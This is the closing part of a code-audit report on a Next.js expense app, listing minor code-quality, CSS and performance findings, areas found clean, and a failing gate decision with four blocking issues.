  Both depend only on `routeParams.project`, which is known before either runs.
**Why it matters:** Adds one full DB round-trip latency to TTFB. Every sibling
  list page parallelizes (`Promise.all` at orders/page.tsx:24, expenses/page.tsx:22,
  admin/*/page.tsx:23) — this is the outlier.
**Recommended fix:** `const [project, data] = await Promise.all([...])`, then
  `if (!project) notFound()`. Note the tradeoff: the expense query would run even
  for a nonexistent project id. Given `notFound()` is a rare path, that is the
  right trade — but it is a real behavior difference worth stating.
**Risk of change:** Low.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[code-quality] CQ4 — P3
**File:** app/(app)/expense-summary/[project]/page.tsx
**Location:** lines 2, 22, 33
**Category:** structure (separation of concerns)
**Problem:** The page imports Prisma and queries the database inline, while every
  other page in the app goes through lib/queries/*.
**Evidence:**
    import { prisma } from "@/lib/prisma";                          // line 2
    import { expenseItemsForProject } from "@/lib/queries/expenses"; // line 3
    ...
    const project = await prisma.project.findUnique({ ... });        // lines 22, 33
  It is the ONLY page under app/(app)/ that imports `@/lib/prisma` directly
  (verified across the route tree). It even imports lib/queries/expenses on the
  very next line for its other query — so it is inconsistent with itself.
**Why it matters:** lib/queries is where query concerns (memoization, select
  shape, sort whitelists) live; a query outside it does not get them — which is
  exactly why P2f (the duplicate round trip) exists. The layering violation and
  the perf bug are the same defect seen twice.
**Recommended fix:** Move it to lib/queries/masters.ts as a `cache()`-wrapped
  `getProject(id)`. Resolves P2f simultaneously.
**Risk of change:** Low — pure relocation.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[code-quality] CQ5 — P3
**File:** all 9 list pages (see D1 for the line numbers)
**Location:** each page's `buildHref`
**Category:** efficiency / correctness-adjacent
**Problem:** Re-sorting preserves the current page number.
**Evidence:** `Object.entries({ ...params, ...extra })` — `params` (from
  parseListParams) carries `page`, and `extra` for a sort click is only
  `{ sort, dir }`. So the emitted href keeps `page=5`.
**Why it matters:** A user on page 5 of 6 who clicks a column header gets page 5
  of the newly-sorted set — a different, arbitrary slice, and on an uneven final
  page possibly a near-empty one. Standard behavior is to return to page 1 on
  re-sort. Raised as P3 not P2 because it is a UX wrinkle, not data loss, and it
  is uniform across all nine pages (so at least it is consistently wrong).
**Recommended fix:** Fold `page: 1` into the sort-href construction — naturally
  handled once D1's shared helper exists.
**Risk of change:** Observable behavior change on every list screen. Confirm it
  is the intended UX before changing; do NOT auto-fix.
**Fixed:** NO — behavior-changing.

--------------------------------------------------------------------------------

[css-dry] C2 — P3
**Concept:** "empty-cell em-dash placeholder"
**Files:**
    app/(app)/expense-summary/[project]/page.tsx:50
    components/forms/ExpenseForm.tsx:156
    components/forms/ExpenseForm.tsx:169
**Evidence:** identical in all three —
    <span className="text-sm text-text-muted">—</span>
**Why these are the same concept:** All three mean "this record has no
  attachment", rendered in the same visual slot (the Attachment column/cell),
  and all three sit directly opposite an `<AttachmentChip>` in the same ternary.
  A change to how "no value" reads — a different glyph, a screen-reader label,
  a different grey — applies to all three.
**Recommended primitive:** Fold it into AttachmentChip as its null state (the
  component already owns the non-null rendering), or a tiny `<EmptyCell />`.
  AttachmentChip is the better home: it already handles the presence case in all
  three of these spots, so the ternaries collapse entirely.
**Priority:** P3 — three instances, trivial markup, low drift cost.
**Risk of change:** Very low; identical output.
**Fixed:** NO — would have qualified for Step 3 auto-fix, but no write access.

--------------------------------------------------------------------------------

[css-performance] CP1 — P3
**File:** components/forms/ResetPasswordForm.tsx
**Location:** lines 154, 160, 173, 176, 180, 183
**Component:** ResetPasswordForm (strength meter + password-policy card)
**Problem:** Six raw `rgb(...)` literals where design tokens already exist for
  the same values.
**Evidence:**
    :154  className="text-[13px] text-[rgb(86,86,86)]"
    :160  i < strengthBars ? "bg-status-success" : "bg-[rgb(230,230,230)]"
    :173  stroke={rulesMet[i] ? "rgb(34,158,75)" : "rgb(163,163,163)"}
    :176  rulesMet[i] ? "text-status-success" : "text-[rgb(163,163,163)]"
    :180  stroke="rgb(163,163,163)"
    :183  className="text-[13px] text-[rgb(163,163,163)]"
  Two of these have exact tokens in tailwind.config.ts already:
    rgb(86,86,86)  = #565656 = `text.subtle`     (config line 28)
    rgb(34,158,75) = #229e4b = `status.success`  (config line 77)
  The file is inconsistent with itself about it: line 164 correctly uses
  `text-status-success`, while line 173 hardcodes the same colour as a raw SVG
  stroke nine lines away. rgb(163,163,163) (used 3×, the "rule not yet met"
  grey) and rgb(230,230,230) (the empty strength bar) have no token at all.
**Why it matters:** tailwind.config.ts is heavily commented as the deliberate
  single source of design truth for this app (see its lines 14-19, 23-29, 33-48,
  62-85, all citing measured design-source evidence). Hardcoded literals bypass
  that layer, so a token change silently misses this screen. Inline `stroke`
  attributes additionally sit outside Tailwind's dedup/purge entirely.
**Recommended fix:** Use `text-text-subtle` for rgb(86,86,86) and
  `stroke-status-success` / `currentColor` for rgb(34,158,75). Add two tokens for
  the remaining greys — e.g. `text.disabled` (#a3a3a3) and `border.track`
  (#e6e6e6) — following the same purpose-scoped naming the config already uses.
**Expected impact:** No visual change (identical values); restores token coverage.
**Risk of change:** Very low — verify the hex/rgb conversions are exact before
  swapping.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[css-performance] CP2 — P3
**File:** components/forms/ResetPasswordForm.tsx
**Location:** lines 173-175 and 180-182
**Component:** ResetPasswordForm (password-policy checklist)
**Problem:** The same 8-attribute inline checkmark `<svg>` is written twice in
  one file, differing only in `stroke`.
**Evidence:** both blocks are —
    <svg width="15" height="15" viewBox="0 0 20 20" fill="none" stroke={...}
         strokeWidth="1.8" strokeLinecap="round" strokeLinejoin="round"
         className="shrink-0" aria-hidden="true">
      <path d="M4 10.5 L8 14.5 L16 5.5" />
    </svg>
  Line 173's stroke is conditional; line 180's is the fixed grey for the
  "Not last 3 passwords" row that cannot be checked client-side (documented at
  lines 20-22).
**Why it matters:** Small, single-file, low-stakes — hence P3. But it is literal
  copy-paste including the path data, and the file already imports `lucide-react`
  (line 7) for its Eye/EyeOff icons, so a `<Check>` from the icon set it is
  already paying for would remove the inline SVG entirely.
**Recommended fix:** Extract a local `PolicyRule({ label, met })` covering both
  the icon and its label span — that collapses lines 171-184 into one map plus
  one static entry, and takes CP1's stroke literals with it.
**Expected impact:** ~10 fewer lines; one place to change the checkmark.
**Risk of change:** Low; verify the checkmark renders identically (the custom
  path is not the same glyph as lucide's `Check` — if exact visual parity
  matters, keep the path and just extract the component).
**Fixed:** NO — would have qualified for Step 3 auto-fix, but no write access.

================================================================================
AREAS CHECKED AND FOUND CLEAN
(recorded deliberately — every skill above asks for this rather than silent omission)
================================================================================

[security]
  - Identity is established on EVERY request. middleware.ts:26-28's matcher
    covers all paths bar /login and static assets, and its comment correctly
    notes this also catches Server Action POSTs (dispatched to the page URL).
  - Authorization is genuinely layered, not merely claimed. Layer 1 (edge,
    cookie snapshot) middleware.ts:44-51; layer 3 (Node, DB-authoritative)
    lib/permissions/guard.ts. guard.ts re-reads permissions from the DB on every
    call and honours `sessionVersion` revocation (lines 33, 76) — so the edge
    layer's documented staleness is safe by construction, as claimed.
  - Every mutating expense action calls the Node guard directly:
    requirePermission("expense:create") at lib/actions/expenses.ts:18,
    requirePermission("expense:update") at :47 — independent of middleware.
  - app/api/uploads/route.ts:33 calls checkPermission("attachment:upload") and
    returns 401 rather than relying on middleware alone. Correct for a Route
    Handler doing filesystem + DB writes.
  - Upload hardening is real: extension allowlist NOT denylist (lines 13-26,
    with a documented rationale for excluding .svg/.html/.js), extension↔MIME
    cross-check (line 65), 2MB cap enforced server-side (line 53) as well as
    client-side, and on-disk filename sanitized to `[^a-zA-Z0-9._-]` -> `_` with
    a timestamp prefix (line 75) — path traversal not reachable.
  - Self-service actions are correctly scoped. lib/actions/profile.ts never
    accepts an id from the client; both actions derive it from
    `requireActiveSession().uid` (lines 18, 78). changeMyPassword additionally
    verifies the current password (line 89), enforces 3-password history reuse
    (lines 99-109), bumps sessionVersion, and deletes the caller's own cookie
    (line 142). No IDOR available on either.
  - NO raw SQL anywhere: `grep -rn "\$queryRaw|\$executeRaw" app components lib`
    -> no matches. All access is via Prisma's typed API. Sort keys — the obvious
    injection surface for a `?sort=` param — are whitelisted through
    lib/params.ts:62-81 (`orderBy`/`orderByMap`), and an unknown key falls back
    silently rather than reaching the query (documented at lib/queries/expenses.ts:8-11).
  - NO `dangerouslySetInnerHTML`, NO `eval`, NO `new Function` — grep across
    app/, components/, lib/ returns nothing.
  - NO `NEXT_PUBLIC_*` variables exist at all, so no secret can be leaking
    through one. No hardcoded-looking credentials found in the audited files.
  - Cookie handling uses a signed token verified via WebCrypto HMAC
    (lib/auth.ts:136+); session revocation on password change works as designed.

[performance]
  - `npx next build` succeeds. Shared First Load JS 87.3 kB; worst route 127 kB.
    No oversized chunk, no barrel-import bloat, no obviously heavy dependency.
    No bundle-size finding raised.
  - Data fetching on 8 of the 9 list pages is already correct: page-bounded via
    `skipTake(params)` and parallelized via `Promise.all` (orders/page.tsx:24-28,
    expenses/page.tsx:22, admin/*/page.tsx:23, users/page.tsx:30-34). Only
    expense-summary/page.tsx (P1f) and expense-summary/[project] (P4f) deviate.
  - No N+1 in the list queries — relations are pulled with `include`, not
    per-row lookups.
  - No `<img>` tags; no `next/image` misuse to report because no images are
    rendered by the audited pages. No external font `@import`/`<link>`; no
    third-party scripts, so no `next/script` strategy concerns.
  - `"use client"` usage is justified where it appears in the audited set:
    ExpenseForm and ResetPasswordForm both need useState/useFormState/refs;
    Pagination/SearchInput/FilterBar need useRouter/useSearchParams. None is a
    candidate for demotion to a Server Component. The nine pages are correctly
    Server Components with small client leaves.
  - The single `useMemo` in the audited set (ExpenseForm.tsx:76, `today`) is
    fine, and the one in ResetPasswordForm (line 93, `rulesMet`) is trivially
    cheap — neither warrants a "remove the memo" finding.

[css-performance]
  - tailwind.config.ts:4 — `content: ["./app/**/*.{ts,tsx}", "./components/**/*.{ts,tsx}"]`.
    Correctly narrow; no node_modules scanning, no over-broad glob. Tailwind v3
    with a matching v3-style config. No `safelist` at all.
  - app/globals.css is 51 lines total: 6 `@layer components` classes
    (.field-input, .field-control, .field-label, .field-error, .card, .link),
    each with a documented reason. The dead `.btn*` rules were already deleted
    rather than left behind (see its lines 12-15) — good hygiene, nothing to
    flag. No hand-written rule duplicates a Tailwind utility.
  - ZERO inline styles: `grep -rn "style={{" app components` -> no matches.
  - ZERO expensive visual effects: `grep -rn "blur-|backdrop-|bg-gradient"
    app components` -> no matches. No multi-layer shadow stacks. There is
    therefore nothing to flag under "heavy effects", and nothing for the
    animation skill's "animated + heavy-effect intersection" either.

[animation-performance]
  - `grep -rn "transition-all" app components` -> NO MATCHES. Every transition
    in the codebase names its property explicitly (transition-colors,
    transition-transform, transition-opacity, transition-[width],
    transition-[grid-template-rows]). This is the good pattern and worth
    recording — `transition-all` is the single thing this skill flags even when
    nothing looks broken, and the codebase has none of it.
  - `grep -rn "animate-" app components` -> NO MATCHES. No keyframe animations,
    no infinite/looping animations, nothing auto-playing, no carousels. The
    "infinite animation burning battery off-screen" class of finding is empty.
  - No staggered list-entrance animations, so no unbounded animated-element count.

[code-quality]
  - `npx tsc --noEmit` exits 0.
  - `npx next lint` reports no warnings or errors.
  - No `any`, `as unknown as`, `@ts-ignore`, or `@ts-expect-error` in any of the
    12 feature files. Types are specific throughout; the `unknown` on
    ExpenseForm.tsx:34 (`amount: unknown`) is a deliberate, narrow accommodation
    of Prisma's Decimal and is converted at the boundary (line 71) — correct, not
    a finding.
  - The one `eslint-disable` in the audited set (ResetPasswordForm.tsx:111,
    react-hooks/exhaustive-deps) is accompanied by a substantive comment
    (lines 102-105) explaining that the success path redirects server-side and
    only the error path produces a state update. Justified.
  - File sizes are proportionate: the largest audited file is ExpenseForm at 287
    lines, which is a long linear form plus a repeater-column definition — long
    because the UI is long, not because concerns are mixed. Not flagged, per the
    skill's "a big file isn't automatically a problem" rule.

[css-dry]
  - Evaluated and DELIBERATELY NOT FLAGGED: the nine list pages share an almost
    identical shell — <PageHeader> / <ListToolbar> / <DataTable> / <Pagination>
    with a `columns` array and a `buildHref`. This looks like a prime extraction
    target and is not one. Each page already composes shared primitives (the
    markup itself is not duplicated — only the composition is), and they differ
    in real ways: column sets, filter definitions, permission codes, query
    functions, empty-state copy. Collapsing them into one `<ListPage>` would
    trade nine short readable files for one heavily-parameterized component with
    nine call sites' worth of props. The genuine duplication in this cluster is
    the `buildHref` FUNCTION (D1) and the icon-link MARKUP (C1) — both flagged —
    not the page shell. Recording the judgment so it is visible as deliberate.
  - components/ui/ already provides Button (CVA variants), DataTable, Modal,
    Pagination, SearchInput, FilterBar, ListToolbar, RowActions, StatusBadge,
    AttachmentChip, SubmitButton and a fields/ set. The audited pages use them
    consistently; no page reimplements a primitive that exists (the C1 icon-link
    is the one exception, and no shared primitive for it exists yet — that is a
    "create X" finding, not a "use the existing X" one).

================================================================================
GATE DECISION
================================================================================
gate_status: FAIL

Rule applied (gate file, Step 4): PASS only if zero unresolved P1 findings
remain across all seven audits. Four remain — S1, S2 (security), P1f
(performance), D1 (dry-architecture) — none of them auto-fixable under Step 3's
constraints, and all four unfixable in this node regardless because it has no
write access.

P2/P3 findings are reported and do not block. No repo-specific override applies.

Blocking items, in the order worth addressing:
  1. S1  lib/actions/expenses.ts:82-95   unscoped expenseItem.update (IDOR)
  2. S2  lib/validation/schemas.ts:124   unvalidated attachment url -> stored XSS
  3. P1f lib/queries/expenses.ts:64-95   unbounded expense-summary aggregation
  4. D1  9 × app/**/page.tsx             buildHref duplicated nine times

Also worth the implementer's attention though NOT counted against this gate:
8 unit tests fail on `npx vitest run`, three of the six failing files covering
this ticket's own feature files. That belongs to the unit-test gate; recorded
here because it materially affects whether the fixes above can be verified.
================================================================================
